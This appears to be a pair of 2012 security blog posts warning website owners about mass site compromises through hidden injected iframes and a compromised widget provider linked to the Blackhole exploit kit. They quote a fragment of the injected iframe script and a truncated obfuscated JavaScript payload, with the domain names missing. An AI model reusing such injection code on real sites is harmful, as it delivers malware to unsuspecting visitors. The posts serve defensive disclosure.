bookmark_borderIframes generator:

If your site is loading hidden iframes from *, look for a curlor file_get_contents call to you visit this site, it generates random iframes: ( (

That are displayed on the compromised sites.

bookmark_borderMass infections from

We are seeing a large number of sites compromised with an iframe pointing to .Just in the last 3 days, we identified almost 10,000 sites with it:

2012/Oct/11 - 4393 sites -
2012/Oct/10 - 3117 sites -
2012/Oct/09 -  865 sites -

On all the compromised sites have the iframes similar to this one:

<script> function frmAdd() { var ifrm = document.createElement("iframe"); ifrm. style.position="absolute';'-999em';'-999em';  ifrm.src = ""; = 'frmId';document.body. appendChild (ifrm);};window.onload = frmAdd;..

The domain is hosted at, but currently offline (redirecting to Google), so we can\’t really tell what it is doing. But on previous requests, it was redirecting to a TDS (traffic distribution system) and from there, being sent to multiple spam or malicious domains. Compromised

Update 2012/Oct/12: Their site was fixed and is not loading malware anymore.

If you are using any widget/code from, remove it asapfrom your site. It has been compromised and is serving malicious code. So ifyou have any widget from there, it will be loaded from your site as well (blackhole exploit kit).


$ curl -D -
<script>v="va"+"l";try{ebgserb++;}catc h(snregrx){try{(Math+"")()}catch(ztbet) {m= ..

Note only that, but their main site is compromised as well.